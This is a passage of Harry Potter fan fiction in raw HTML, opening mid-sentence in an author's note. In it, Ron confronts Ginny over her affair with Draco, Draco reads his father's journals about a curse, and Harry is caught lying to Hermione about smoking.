haven\'t read it) her maiden name is Black. According to AIDE, her maiden name is Black and her mother\'s name was Rosier, Lucius\' aunt. Draco speaks about this later, so I didn\'t want anyone getting confused. When I have the chance, I\'m going to go back and fix the other chapters to reflect this. It\'s a very small change, but very important.<br>\n\n\n<br>\n So after the rambling, chapter nineteen is commenced!<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<font size="2" face="Garamond"><strong><i>Io non so ben ridir com&#8217; i&#8217; v&#8217;intrai</i></strong></font><font face="Garamond"><i> How I came to it I cannot rightly say;</i><br>\n\n\n</font><font size="2" face="Garamond"><b><i>tant&#8217; era pien di sonno a quel punto</i></b></font><font face="Garamond"><i>So drugged and loose with sleep had I become,</i><br>\n\n\n</font><font size="2" face="Garamond"><b><i>che la verace via abbandonai</i></b></font><font face="Garamond"><b><i></i></b><i>When first I wandered from the True Way.</i><br>\n\n\n<b><i>\n\n</i></b><i>~ Dante&#8217;s Inferno, Canto I</i></font>\n\n<br>\n\n\n<br>\n\n\n<br>\n Ron was stalking down the halls in search of his sister. Classes had been over for some time and Ginny wasn\'t in Gryffindor tower last he\'d checked, but maybe she had come back since then so he decided to try again. <br>\n\n\n<br>\n He had been trying to keep what Pansy had told him about Ginny and Malfoy out of his mind all afternoon. It made his blood boil to think that his sister had sunk so low as to sleep with someone like Draco Malfoy. Not only that, but the entire school knew about it and no one had told him, not even Harry or Hermione. Sure, they were probably angry with him still, but something like this transcended anger. If they were ever really his friends, they would have told him. Perhaps they didn\'t know? It would be typical considering how little attention they had paid to rumours in the past.<br>\n\n\n<br>\n Ron hadn\'t thought of Hermione for a while except when he would see her brush past him in the halls and a little spasm of pain would shoot through him before he turned away. And Harry, well, he still saw him every time they had practice on the Quidditch pitch. But relations between them were strained and Ron wished so many times since Christmas that he hadn\'t lost his temper at them both. It was hard to tell who was right and who was wrong anymore.<br>\n\n\n<br>\n He also wished that he\'d never thought of lying to Hermione in the first place. It had been a stupid thing to do, and somewhere in the back of his mind he knew he would have been found out eventually.<br>\n\n\n<br>\n Things had started innocently enough. <br>\n\n\n<br>\n Ron remembered the friendly kiss Hermione\'d given Harry at the end of their fourth year. He\'d dwelled on it almost all summer, along with the anger he felt about not getting a kiss, too. But he didn\'t know why it upset him so much; it seemed quite innocent. Perhaps it was the fact that Hermione hadn\'t thought he <em>needed</em> a kiss. After all, he was traumatised, too! When they came back to Hogwarts for their fifth year, he could see that Hermione was getting more emotionally attached to Harry and he\'d felt left out. The first lie had been so spectacularly easy to say: <em>Harry couldn\'t go for a walk with them because he was snogging Cho Chang. </em><br>\n\n\n<br>\n &quot;But don\'t talk to him about it, Hermione,&quot; Ron had whispered in her ear. &quot;He\'s very sensitive when it comes to Cho and doesn\'t want anyone to know. You know, because of what happened to Cedric last year and all those rumours that flew around about you two. I only found out because I saw them and he made me promise to sit on it.&quot;<br>\n\n\n<br>\n Hermione\'s face had gone beetroot before settling into a shade paler than normal. She\'d nodded and accepted his offer to go for a walk around the lake. <br>\n\n\n<br>\n It hadn\'t been his intention to keep her and Harry apart, at least not at first. He only wanted some time alone with Hermione where she would pay attention to just him instead of her O.W.L\'s or the other member of their Trio. And Harry was always off doing . . . Harry things. Like drilling the Quidditch team or making rosters because he was Captain, so Harry had no time for him either until sixth year when Ron became a Chaser. <br>\n\n\n<br>\n It was terribly lonely during his fifth year and Ron didn\'t think he could handle Harry going on about Quidditch Captain and how rough it was without wanting to strangle him.<br>\n\n\n<br>\n Later though, as he started to notice how pretty Hermione looked when she nibbled on her quill in class, or the way her robes started filling out in interesting places, he knew that he didn\'t want to share Hermione at all. <br>\n\n\n<br>\n Harry always had everything: money, fame, and oodles of girls ready to pounce if he gave the word. And what did Ron have? <br>\n\n\n<br>\n There was a time when he thought-- he\'d hoped, that Hermione returned some of his feelings. She would blush sometimes when he asked her to go for a walk with him, or her eyes were especially bright when she spotted him coming toward her. But after a while, even that started to fade away, and she would gaze at Harry longingly from across the room where he sat, wallowing in self-pity or Firewhiskey. Sometimes both.<br>\n\n\n<br>\n Ron kicked a bit of rubbish on the floor, delighting in the crunch it made against the wall. It was too late. He had been too scared to say anything to her and he lost; she\'d moved on. Or back, maybe. Back to perfect Harry Potter. Back to the boy she\'d obsessed about protecting her entire time in school. Harry who had everything he <em>really</em> needed. There were always loads of people about, willing to lend an ear or whatever Harry needed, whenever he needed it; even if the stupid sot was too thick to see them. And until Voldemort, what did he, Ron Weasley, have? Nothing. No money, no fame, and there certainly weren\'t girls coming out of the woodwork for <em>him</em> were there? <br>\n\n\n<br>\n Ron winced as he thought about the scene with Pansy earlier and patted his leg absently. Well, they were coming out of the woodwork now, or rather, the loo. Only this one didn\'t want to shag him, did she? Nope, a friendly speck of brutality was all she was after, messy brutality. Stupid, pug-nosed witch needed to learn how to keep her boyfriends in line. Ron snickered at the thought. She probably took them in a line, too. Pansy was known around Hogwarts as being more than a bit of a scarlet woman, as his mum called them. Then again, Ron wasn\'t much better, and he admitted this to himself for the first time. He <em>was</em> taking it a bit far with all the girls, but how could he help it when they threw themselves at him like they did? They had even taken to popping up in the hallway between classes and dragging him into unused rooms. He couldn\'t count the amount of times he\'d missed Charms because a bit of wicked had waylaid him in the corridors. Perhaps it was getting out of hand after all.<br>\n\n\n<br>\n He wished, for the twentieth time in as many minutes, that he still had Harry and Hermione around. They had a right to be angry, and he knew he\'d done wrong, but he missed his friends now more than ever before. Everywhere Ron went, people wanting to be his friend bombarded him, but they were shallow friendships at best. No one dared to disagree with him or have a pleasant banter like Hermione, and there was no Quidditch talk or rough-housing like he\'d had with Harry; everyone only wanted to hear about Voldemort or how big his-- Well, Ron felt lost and it was pointless to continue when he knew what he wanted. Perhaps if he got on his knees and threw himself before them then they would take him back. And that\'s just what he would do, after he had a word with Ginny.<br>\n\n\n<br>\n Ron reached the portrait of the Fat Lady and gave her the password, climbing through the hole behind her and walking into the Gryffindor common room. He looked around for his sister while he was still in the shadows and frowned when he saw her happily pouring over a book next to the fire. She sat facing him and he walked toward her, noticing that her robes weren\'t buttoned properly and she only wore one sock. It was as if she didn\'t even care what people thought of her anymore.<br>\n\n\n<br>\n Ginny\'s face brightened at his approach and she tossed her book aside to stand up and hug him. Ron stood stiff as a board with his arms by his sides while she embraced him, but she didn\'t notice and started chattering animatedly.<br>\n\n\n<br>\n &quot;You\'ll never guess who I saw today! Outside of Dumbledore\'s office I saw--&quot;<br>\n\n\n<br>\n Ron narrowed his eyes and grabbed her upper arms in a crushing grip. &quot;I know who you saw,&quot; he whispered, even though he didn\'t have a clue as to who she was talking about. But by the look on her face she knew who he really meant. &quot;I know.&quot;<br>\n\n\n<br>\n Her eyes grew wide with fear and she tried to back away but he wouldn\'t let her. &quot;R-ron, I-&quot;<br>\n\n\n<br>\n Ron felt his face flush hot when he saw Ginny\'s jaw quivering as if she wanted to say more, but didn\'t. All activity in the common room ceased. Ron turned to look at everyone and most flinched visibly under his accusing gaze. &quot;Get out. All of you get out.&quot;<br>\n\n\n<br>\n Most of them did as he said, dropping their quills and parchments for the relative safety of their dorms. Only Colin Creevey had enough courage to stand up for Ginny.<br>\n\n\n<br>\n &quot;Leave her alone, Ron.&quot;<br>\n\n\n<br>\n &quot;She\'s my bloody sister and if I want to talk to her, I will. Now get the hell out of here!&quot;<br>\n\n\n<br>\n &quot;No. You\'re frightening her; can\'t you see that?&quot; Colin pleaded, his palms upturned and reaching.<br>\n\n\n<br>\n &quot;She deserves more than a good scare after what she\'s done.&quot;<br>\n\n\n<br>\n Colin sized Ron up for a moment before looking at Ginny. &quot;I\'m getting Harry and Hermione.&quot;<br>\n\n\n<br>\n He bolted up the stairs and Ron turned his attention back to Ginny. &quot;Why didn\'t you tell me? Why did I have to hear from <em>Pansy Parkinson</em> that you\'ve been shagging Malfoy?&quot;<br>\n\n\n<br>\n Something in her eyes snapped and she pulled herself out of his grip. &quot;Because I knew you\'d be an arse about it and it\'s none of your bloody business who I\'m with!&quot;<br>\n\n\n<br>\n &quot;None of my business? I\'m your brother and I have a right to know what you\'re doing.&quot;<br>\n\n\n<br>\n &quot;No, you don\'t,&quot; Ginny said quietly. &quot;I stay out of your private life; even if I think you\'re thoroughly buggering yourself with all those girls. Even if I think that your head\'s swelled so big that you can\'t see <em>anything</em> anymore. You don\'t care about me, you never did. This is all because your pride is hurt. You\'re not doing this out of love for me, but out of love for yourself.&quot;<br>\n\n\n<br>\n How could she say that? How could she dare? Didn\'t she know that it was because of her that he had found the strength to kill Voldemort? It was the terror, etched so deeply into her face, that threw him over the edge and made it possible for him to lift that knife up high and bury it into the Dark Lord\'s back. It was his love for Ginny that overcame <em>his</em> fear. Now here she was, throwing everything in his face after he had done so much for her. Here she was-- with the same horridly fascinating chalk-white complexion and pale lips pressed together as if she were going to scream . . .<br>\n\n\n<br>\n Panic blinded him to reason and Ron pushed Ginny in the chest; anything so she wouldn\'t <em>look</em> at him like that! She stumbled over a footstool and fell to the ground with her ankle twisted underneath. He blinked for a moment at what he\'d done and was about to apologise when he heard the fast patter of feet down the stairs behind him. Ron turned to see Harry and Hermione pulling their robes on hastily as they ran toward him with Colin scrambling after them. Ron\'s eyes narrowed slightly; there was no doubt about what they\'d been doing when Colin had interrupted them.<br>\n\n\n<br>\n Hermione went to Ginny and quickly assessed the damage to her ankle before turning a gaze full of venom on Ron. &quot;What did you do?&quot;<br>\n\n\n<br>\n &quot;I--&quot; Ron broke off and gazed at his sister, who was wincing every time Hermione touched her ankle. Good God, what <em>had</em> he done? &quot;Ginny, I--&quot;<br>\n\n\n<br>\n He was cut off when someone shoved him from behind. Ron turned and they shoved him again, this time in the chest. <br>\n\n\n<br>\n &quot;She\'s your fecking sister, man! Your own flesh and blood, and look what you\'ve done!&quot; Colin roared at him, his mouth twisted into a grimace and his eyes burning like twin coals. He was shorter than Ron, yet there seemed to be an inner strength that loudly proclaimed he could be a worthy opponent if motivated, despite his wiry frame.<br>\n\n\n<br>\n Ron beetled his brows. &quot;I didn\'t mean to do it. And it\'s none of your damn business anyway, you little ponce. Like you said, she\'s <em>my</em> sister.&quot;<br>\n\n\n<br>\n Ginny gasped and looked at Colin. His eyelids were twitching and, without warning, he drew back his fist and punched Ron in the jaw. It was the second time that day someone had hit him, not to mention the same exact spot, and Ron was getting more than a little sick of it.<br>\n\n\n<br>\n &quot;You\'re dead, Creevey!&quot; he shouted, blood spraying from his lips. &quot;They\'ll be able to sweep you into a--&quot;<br>\n\n\n<br>\n Harry stepped forward and shoved Colin behind him. &quot;No, Ron. You\'re not doing anything to him or anyone else. Just get out of here and let Hermione and I take Ginny to the Infirmary.&quot;<br>\n\n\n<br>\n All thoughts of apologising to them fled and Ron stared at Harry, his chest heaving with indignation. &quot;Get out of here? Are you daft? I\'m not going anywhere until I have a talk with Ginny about her choice of companions.&quot;<br>\n\n\n<br>\n Hermione stood up and wedged her way between Harry and Ron. &quot;It isn\'t any of your business, Ron! She\'s a big girl and if she wants to be with that git Malfoy, then she can. We can\'t do anything to stop her or change her mind. Believe me, I\'ve tried.&quot; <br>\n\n\n<br>\n They knew! They had let Ginny trot around the castle with Malfoy and hadn\'t even told him about it. Were they ever his friends at all or did they just hate him that much? <br>\n\n\n<br>\n &quot;I can\'t believe you. You knew and you didn\'t tell me?&quot;<br>\n\n\n<br>\n Hermione couldn\'t look him in the eye, but instead stared at a point below his chin. &quot;Yes, we knew. And we didn\'t tell you because it wasn\'t your concern.&quot;<br>\n\n\n<br>\n &quot;Not my concern? Why does everyone keep saying that?&quot; Ron yelled. &quot;How many times do I have to say that she\'s my sister and it is my concern? Malfoy is evil.&quot;<br>\n\n\n<br>\n Harry put his hands on Hermione\'s shoulders protectively. &quot;I don\'t like Malfoy anymore than you do, Ron. But even you have to admit that he\'s changed.&quot;<br>\n\n\n<br>\n &quot;He hasn\'t changed,&quot; Ron sneered. &quot;And if you think he has then you\'re thicker than I thought.&quot;<br>\n\n\n<br>\n &quot;Leave them alone, Ron,&quot; Ginny wearily said from behind him. He turned to her and she continued. &quot;And leave Draco alone, too. You don\'t know anything about him.&quot;<br>\n\n\n<br>\n &quot;Really?&quot; he asked. &quot;I know that he\'s the son of a Death Eater; the same Death Eater who slipped that bloody evil book into your cauldron your first year. I know he thinks that Hermione\'s inferior just because she isn\'t pure-blood. I <em>know</em> that he\'s an evil wanker who can\'t seem to keep his nasty, slimy hands off of my baby sister!&quot;<br>\n\n\n<br>\n Ginny smirked. &quot;And <em>I</em> know that he\'s not a wanker. And his hands are very nice, thank you.&quot; <br>\n\n\n<br>\n Ron inhaled sharply. How could she just throw it in his face like that? &quot;Mum would be ashamed of you. In fact, I think everyone will be ashamed of you once they find out.&quot;<br>\n\n\n<br>\n &quot;Mum and Dad like Draco,&quot; she retorted.<br>\n\n\n<br>\n &quot;Maybe now, but when they find out that you\'ve been messing around with him, I can guarantee that Dad is going to kill him.&quot;<br>\n\n\n<br>\n Tears trickled from her eyes and she looked up at him, her face twisted in anger. &quot;Don\'t you <em>dare</em> tell them! I\'ll tell them myself when I\'m ready for them to know.&quot;<br>\n\n\n<br>\n &quot;But I thought that--&quot; Hermione said before she seemed to think better of it. Ron glanced at her from the corner of his eye and he could see she was struggling to stay quiet.<br>\n\n\n<br>\n &quot;What?&quot; Ron bit out.<br>\n\n\n<br>\n &quot;It\'s just that-&quot; Hermione\'s hands twisted in her robes uncomfortably before looking at his sister. &quot;Well, I thought you said that it wasn\'t anything serious, Ginny. And you should tell them if it\'s . . .&quot; She trailed off nervously, as if she didn\'t want to vocalise her own thoughts anymore.<br>\n\n\n<br>\n Ron looked back at Ginny. She wasn\'t exactly smiling, but there was something on her face that he didn\'t like. <br>\n\n\n<br>\n &quot;Maybe it is serious. I\'m not saying that I <em>love</em> him or anything, but . . .&quot; One corner of her lip perked up. &quot;Well, I fancy him a bit.&quot;<br>\n\n\n<br>\n &quot;You won\'t see him again, Ginny. I mean it. If I find out that you\'re sneaking off places with him, then I\'ll-&quot; He struggled for a moment. &quot;Well, I\'ll lock you up in your dormitory!&quot; Ron said a bit more firmly. &quot;And I\'m going to <em>kill</em> Malfoy,&quot; he added in a whisper.<br>\n\n\n<br>\n &quot;You can\'t tell me what to do! Who do you think you are?&quot;<br>\n\n\n<br>\n &quot;I\'m your brother, damn it! And if I say that you\'re not to see Malfoy, then you\'re not to see him and that\'s final.&quot;<br>\n\n\n<br>\n Harry reached over Hermione to lay a hand on Ron\'s shoulder. &quot;Ron, you can\'t do that. Especially if Ginny has, well, <em>feelings</em> for him. None of us like it, but you don\'t see us locking her away like a prisoner, do you?&quot;<br>\n\n\n<br>\n Ron turned to Harry. If they were ever friends then Harry would have told him about this. If they were ever friends, Harry would be helping him hunt down Malfoy right now. &quot;Don\'t touch me, Potter.&quot;<br>\n\n\n<br>\n Hermione rolled her eyes. &quot;Stop being such a baby and grow up, Ron. Why don\'t we just agree that you\'ll leave Ginny alone, and Harry and I\'ll apologise for not telling you about her and Malfoy.&quot;<br>\n\n\n<br>\n Ron was just about to tell Hermione to rightly piss off when he heard the portrait in the hall scraping open. They all turned to see Bill walking toward them, looking slightly haggard. His face was serious, as it rarely was, and he regarded them each in turn, lingering on Ron and Harry. Obviously he could see that there was something going on, but he didn\'t stop to ask questions. <br>\n\n\n<br>\n &quot;You\'d all better stop what you\'re doing. We need your help.&quot;<br>\n\n\n<br>\n Hermione was the one to step forward and she pushed herself from between Ron and Harry to greet Bill with a look of apprehension. &quot;What\'s happened?&quot;<br>\n\n\n<br>\n Ron had a bad feeling as Bill looked down and rubbed the back of his neck before finally meeting Hermione\'s eyes. &quot;Hagrid\'s missing.&quot;<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~* <br>\n\n\n<br>\n\n\n<br>\n Draco sat up in his bed with a scowl and looked at the clock on the wall above Crabbe\'s bed. The small hand was still about two marks away from pointing to \'eat supper, you lazy git\'. Since Ginny had gone, this meant that he wasn\'t about to get that nap he wanted anytime soon. It wasn\'t as if he had anything better to do now that Slytherin was out of the running for the House Cup.<br>\n\n\n<br>\n He sighed and leaned against the headboard. When had his sleep schedule become tied up with whether or not Ginny Weasley was in his bed? Late in the night she sometimes crept into his room, as if she knew that he couldn\'t sleep well without her there. He hated that she had this-- this <em>power</em> over him. Even more than that, though, he hated that she seemed to know it.<br>\n\n\n<br>\n It wasn\'t love.<br>\n\n\n<br>\n Draco was honest with himself about that. He wasn\'t even sure what love was exactly; some sort of fluffy Gryffindor-type feeling, no doubt. This thing with Ginny was more about comfort. She was comfortable. Not just in the way that her body was soft and pliable and nice to nap on, though he reminded himself to tell her to stop running around so much because she was becoming decidedly less soft. No, Ginny Weasley was all around comfortable, almost motherly in a fashion when he allowed her to fuss over him. That notion was rather twisted when he thought about it. He liked her because she was motherly? God, he hoped that wasn\'t it!<br>\n\n\n<br>\n Draco frowned and pulled one of his father\'s journals out from under his pillow, just a little dark reading before supper might possibly take his mind from other things. He sighed and opened it to where he\'d left off before and started scanning the lines out of boredom, if nothing else.<br>\n\n\n<br>\n He\'d already learned at least two things of significant interest from the journals: the curse his father had written about before was somehow connected to an Irish myth, and even Lucius wasn\'t perfect. Well, the last bit was obvious, being the uphill gardener that he was. But still, it made Draco smile every time he saw a misspelling here or there. The Tir nOg curse was most likely the Tir <em>nan</em> Og curse, if it was indeed connected to the land of Tir nan Og, as Draco suspected.<br>\n\n\n<br>\n Draco thumbed through the leather-bound book until he came to a page that he\'d marked with a silver ribbon. There was a line Lucius had written in a margin here that particularly captured Draco\'s interest: <em>a land wherein there is naught save truth, and where is neither age nor decay, sorrow nor gladness, nor envy nor jealousy, hatred nor haughtiness.</em><br>\n\n\n<br>\n Obviously the man had copied it from some other source, the language was too archaic to be otherwise. But most interesting were the words \'envy\' \'jealousy\' \'hatred\' and \'haughtiness\'; they\'d all been crossed out.<br>\n\n\n<br>\n Draco narrowed his eyes and grabbed a quill. He <em>would</em> get to the bottom of this whole thing. He summoned his inkwell and a scroll of parchment from across the room and set to work.<br>\n\n\n<br>\n He copied down the passage before flipping through the journal for the other entry he had marked. Ah, there it was. A few lines scribbled hastily in the margins of another entry. They seemed to be more quotes from something, but they made no sense; at least not in his father\'s journal.<br>\n\n\n<br>\n\n\n<em>Where the hair is like a blossom of the golden primrose,<br>\n Where the tender body is as fair as snow.</em><br>\n\n\n<br>\n Then on the opposite page was written: <br>\n\n\n<br>\n\n\n<em>Where the youth never grow to old age, <br>\n Handsome people without blemish.</em><br>\n\n\n<br>\n Well, what the devil was all that supposed to <em>mean</em>, anyway? If the last four lines described the curse at all, it wasn\'t much of a curse. Draco looked down at his naked chest. Apart from his ever-fluctuating emotions, he hadn\'t physically changed much aside from growing hairier perhaps. At least not that he had noticed. And he had a feeling that this curse, whatever it was, had little to do with excessive body hair. <br>\n\n\n<br>\n Draco\'s gaze trailed from his chest and down to his wrists. They were scarred from the ropes his father had used the night he\'d run away. Then he remembered his back and how it looked now, crisscrossed with pale pink lines from his father\'s whip. Now that he thought about it, he\'d never had a scar before. Most people had <em>something</em>; a skinned knee that escaped their parent\'s notice or a wound too deep for spells to cover completely, or even a damned lightening bolt on an equally damned forehead. But he had no mark on his body from anything that may have happened before the phoenix shed a tear for him, except the <em>Seize Quartiers</em> perhaps, if that could be considered a blemish. Well, <em>he</em> considered it a blemish, but Draco wasn\'t sure who dictated the rules and what they considered a blemish.<br>\n\n\n<br>\n God, it truly was an eyesore. He had a copy of it on his bedroom wall at the manor. It was interesting enough, and Lucius had told him, with uncharacteristic patience, what it meant and which bloodlines were bred into the Malfoy family.<br>\n\n\n<br>\n Draco hadn\'t lied to his mother when he said that he was proud. He <em>was</em> proud of his heritage, as dark as it was. He was proud of the fact that no Muggle or half-blood had ever tarnished the Malfoy name. And although the Malfoys hadn\'t been in England as long as some other wizarding families, only a paltry four or five hundred years, they had been well-established in France before that. His mother had no right to say he wasn\'t proud. She had no right at all because she was just as bad as he was. She had run away once, too.<br>\n\n\n<br>\n Oh, it had been shocking to see written down on parchment that Narcissa Malfoy, his mother, had run away from Malfoy Manor. Draco went to another marked passage in the old journal and reread it with relish.<br>\n\n\n<br>\n\n\n<br>\n\n\n<em>Narcissa ran away today. We\'ve been married for just under six months and I should have known that she would; the Rosier side of the family has always been weak and simple-minded. Narcissa is quite like my mother in that. A pity, but My Lord did all he could with that lot. She has no pride in her name and I must find her before she does something foolish. If it\'s ever known that she has left I will be humiliated, and I will not allow that to happen.<br>\n\n\n<br>\n I have told her friends that she has gone to visit her mother. None of them know that my aunt is dead, so it makes little difference. Narcissa will be well acquainted with my Chamber when she is found.</em><br>\n\n\n<br>\n\n\n<br>\n Draco made a note to ask her about that. As much as she had berated him for leaving the manor, it would be amusing to see her face when she found out that he knew about <em>her</em> little jaunt in the countryside. It hadn\'t been a particularly long absence, only a week or so, but it was enough to bring a smile to Draco\'s face just knowing that she was human, too.<br>\n\n\n<br>\n He looked up at the clock and sighed. It was about bloody time. He shut the book and shoved all of his notes inside. But as he reached under his pillow to put it away, he noticed something soft and fuzzy that he hadn\'t come across before. Pulling it out, he realised that it was Ginny\'s sock. <br>\n\n\n<br>\n Draco brought it immediately to his nose and sniffed: it smelled like grass and patent leather from her shiny school shoes. He closed his eyes for a moment and could see her lying on the neatly trimmed grass of the Quidditch pitch; smiling through her fingers, her eyes alight with pleasure. It was lovely except she\'d never done that, not for him anyway. Not anywhere but his own private fantasies had she looked at him like that. And why should she, he asked himself? It didn\'t matter whether Ginny smiled or not as long as she did what he wanted.<br>\n\n\n<br>\n He tossed the sock on the bed angrily and stood up to find something suitable to wear. It wouldn\'t do to look like he\'d been in bed all afternoon, even if he had.<br>\n\n\n<br>\n Draco chose a pair of tapered black trousers and a dark grey roll neck from his new spring wardrobe to wear under his standard Hogwarts robes. He noticed that his trousers were a bit too long, draping over the tops of his shoes. Draco made a mental note to have a stern word with his tailor before he bent to discreetly fold the hems to a more comfortable length. He combed his hair into place with slightly more precision than he normally used, observing that his widow\'s peak seemed to be misbehaving. It wouldn\'t do to look like Potter with his untamed mess. Bloody hell, why was the thing being so unreasonable? <br>\n\n\n<br>\n After his hair was finally tamed with a quick spell, Draco rubbed a bit of cologne behind his ears and practiced a charming smile in the mirror. The mirror, for its part, sighed in admiration.<br>\n\n\n<br>\n &quot;Striking as always, Mr Malfoy,&quot; it assured him in a throaty contralto.<br>\n\n\n<br>\n Draco straightened his trousers, smoothed his robes down, and walked steadily out of his room, thinking all the while that the Ginny affair was getting too complicated. <br>\n\n\n<br>\n It was time to find a new girl. <br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Harry was gasping for a smoke.<br>\n\n\n<br>\n He had been out most of the night with Hermione, Ron, and Bill looking for Hagrid. There were other people searching as well, but they had their own little group away from everyone else. He couldn\'t believe that Ron and Hermione had actually managed to be civil to each other for the almost three hours that they\'d been out looking.<br>\n\n\n<br>\n Colin had taken Ginny to the Infirmary after her spat with Ron, and Hermione had told him to stay with her there until she was healed properly. It wasn\'t as if she had to ask, Colin would gladly walk over hot coals for Ginny; even if he was queer as a nine bob note. Not that Harry held that against him or anything, but it felt-- well, <em>odd</em>, to say the least. Especially when he remembered the boy\'s former camera-happy obsession with him. <br>\n\n\n<br>\n Harry shifted uncomfortably in his seat and ran a hand through his hair as he waited for Hermione to collect Ginny from Madame Pomfrey. Couldn\'t she just let Colin walk Ginny back to the tower? He was tired and wet and bloody freezing, which, on top of everything else did <em>nothing</em> for his mood. Harry sighed and pulled out a cigarette. He was in the hallway and, according to his map, Filch was at the other end of the castle. Harry put the cigarette to his lips and drew from it deeply. Then he frowned; the calming charm didn\'t seem to be working very well and the cigarette was quite stale. But the habit itself was comforting, so he shrugged and continued to smoke, pacing up and down the hallway out of sheer boredom. What the devil was taking so long, anyway?<br>\n\n\n<br>\n From inside the Infirmary he could hear firm steps coming toward the door and he quickly pinched his cigarette, popping a mint in his mouth for good measure. Hermione strode through the doors, flanking Ginny with Colin on the other side. Her hair was wild and floated around her head like a nimbus of electric energy. It matched the lightening in her eyes. She was obviously angry about something.<br>\n\n\n<br>\n &quot;When I get my hands on Ron, I\'m going to tear him in two,&quot; she bit out.<br>\n\n\n<br>\n &quot;Yeah, elbow him in the corkers for me while you\'re at it,&quot; Ginny muttered.<br>\n\n\n<br>\n Harry walked over and put his arm around Hermione, but she wouldn\'t have any of it and shook him off. She was too angry. It was more than likely a combination of holding her tongue in front of Bill and being reminded of Ginny\'s injuries again. Hermione suddenly stopped in her tracks and sniffed the air. <br>\n\n\n<br>\n Uh oh. <br>\n\n\n<br>\n &quot;Have you been smoking, Harry?&quot; she asked pointedly.<br>\n\n\n<br>\n Harry considered telling the truth, but in her current state she was likely to rip him apart, so he opted for what sounded like a good lie. &quot;Uh, no. I stopped smoking, you know that.&quot; <br>\n\n\n<br>\n He forgot that she could always see through his lies.<br>\n\n\n<br>\n Hermione pulled his face down to hers and sniffed at his mouth before prodding it open with one of her fingers and pulling out his smoke shop mint. She looked at it with disgust and held it daintily between pointer and thumb. &quot;What\'s this then?&quot;<br>\n\n\n<br>\n &quot;Uh . . .&quot;<br>\n\n\n<br>\n &quot;You can\'t tell me that it\'s not one of those mints you suck on after you\'ve smoked a cigarette because I can see the writing on still.&quot; <br>\n\n\n<br>\n And it was true. In ridiculously tiny letters that were only partially eroded it said: \'E&amp;F smoker\'s mint\'. By the look in her eyes, Harry could tell that he was in for a tongue lashing of the most unpleasant sort.<br>\n\n\n<br>\n &quot;Perhaps Colin and I should go ahead without yo--&quot;<br>\n\n\n<br>\n &quot;You stay <em>precisely</em> where you are!&quot; Hermione screeched at Ginny before turning back to Harry. She narrowed her eyes at him for a moment and her breath was very shallow, as if she was trying to contain her rage, but failing. Harry slowly realised that he had managed to get on her last nerve and this wouldn\'t be one of her normal tirades. He unconsciously flinched and tried to move away.<br>\n\n\n<br>\n &quot;You stay, too, Harry Potter.&quot;<br>\n\n\n<br>\n There was no way to avoid this, so he sighed and looked down at the ground in a very pathetic manner he hoped would soften her a little. &quot;I\'m sorry, Hermione. I know I shouldn\'t have lied to you about that, but I--&quot;<br>\n\n\n<br>\n &quot;Shut up.&quot; She cut him off. Harry kept his eyes on the floor while she continued. &quot;This is exactly the reason why I no longer speak to Ron: <em>lies</em>! I think that you owe me a bit more courtesy than that arsehole considering that I\'m your bloody girlfriend.&quot;<br>\n\n\n<br>\n Harry did look up then and his mouth was hanging open in shock. &quot;H-Hermione? Are you feeling all right?&quot;<br>\n\n\n<br>\n He could see that Ginny and Colin were equally stunned, but they were quiet. Hermione stood there, staring daggers at his head for a moment before she answered him. &quot;I\'m fine.&quot;<br>\n\n\n<br>\n But Harry could see that she wasn\'t fine, her hands were clenching and unclenching into fists and she looked like she was on the verge of tears. Hermione sniffed once and just as he was about to put a hand on her shoulder she shook him away. &quot;Just-- just leave me alone for a while. I need to think.&quot;<br>\n\n\n<br>\n Harry frowned. &quot;Hermione, this isn\'t just about me smoking, is it? Did I do something else? I mean--&quot;<br>\n\n\n<br>\n &quot;It isn\'t--&quot; She shook her head and sniffled again. Her entire body seemed to slump. &quot;I just have something on my mind, Harry. I need to puzzle this out.&quot;<br>\n\n\n<br>\n Harry blinked and swallowed; this didn\'t sound good at all. He nodded and patted her on the shoulder hesitantly, afraid that she would snap again. He trusted Hermione though, so he wouldn\'t push the issue, as he was sure she would tell him-- in time. <br>\n\n\n<br>\n &quot;Go on to the library, then, I know that\'s where you want to go. I\'ll let you alone.&quot;<br>\n\n\n<br>\n Hermione did cry then and she brought his face down to kiss his lips quickly. &quot;Thank you for understanding, Harry. And I\'m so very sorry for snapping at you.&quot;<br>\n\n\n<br>\n He was a bit surprised that she would kiss him in front of Colin and Ginny since they were both very private people and hated public displays of affection. But he smiled and brushed a stray hair out of her face before pressing the Marauder\'s map into her hand. <br>\n\n\n<br>\n &quot;It\'s all right. You\'ve had a hard day. Just don\'t stay up in the library too late.&quot;<br>\n\n\n<br>\n She nodded and squeezed his hand once before racing down the hallway toward the library at unusual speed. When she had gone around the corner Ginny finally spoke. <br>\n\n\n<br>\n &quot;I never thought I would see the day when Hermione would swear.&quot;<br>\n\n\n<br>\n Harry frowned. &quot;Me neither. What happened in the Infirmary?&quot;<br>\n\n\n<br>\n Ginny continued to stare at where Hermione had disappeared and rolled her lip between her thumb and forefinger. &quot;Nothing really,&quot; she mumbled around the intrusion. &quot;She sat and read a book while my ankle was given a final check over.&quot;<br>\n\n\n<br>\n &quot;What book?&quot;<br>\n\n\n<br>\n &quot;Um.&quot; She furrowed her brow in thought. &quot;It was one of the books off of Madame Pomfrey\'s shelf, I think. In fact, I\'m sure it had to have been because Hermione didn\'t bring any books with her when she came to get Colin and I.&quot;<br>\n\n\n<br>\n &quot;What on earth could she have read in one of those books to make her so upset?&quot;<br>\n\n\n<br>\n &quot;Well,&quot; Colin spoke up. &quot;It\'s not like she needed much to set her off if you think about it. She\'s been through a lot tonight the same as us. But whatever she read must have upset her because she dropped the book like a hot coal and ran back over to us. Then she noticed Gin\'s foot again and started talking about how she was going to squish Ron into itty, bitty, bite-sized pieces.&quot;<br>\n\n\n<br>\n Ginny interrupted him at this point. &quot;Her heart didn\'t seem to be in it, though. It was more like she was trying to think of something else to distract herself from what really had her worried.&quot; She crinkled her nose at Harry. &quot;D\'you know what I mean?&quot;<br>\n\n\n<br>\n One of the corners of Harry\'s mouth drooped in a half-frown and he nodded. &quot;I know what you mean. What did the book look like?&quot;<br>\n\n\n<br>\n &quot;Just a book; one of those really thick ones that she always reads. Um, brown cloth cover, I think.&quot; Ginny patted Harry on the arm. &quot;I\'m sorry, I didn\'t catch the name of it.&quot;<br>\n\n\n<br>\n Harry nodded absently. &quot;It\'s all right. I wonder if Madame Pomfrey would mind 